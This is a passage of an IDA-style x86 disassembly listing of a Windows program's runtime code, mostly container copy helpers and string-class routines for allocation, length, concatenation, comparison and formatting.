		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		nop
		call	near ptr 283190Ch
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		nop
		call	near ptr 2840000h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		call	near ptr byte_5FC011
		nop
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	near ptr byte_5FC011
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		nop
		call	near ptr byte_5FC011
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
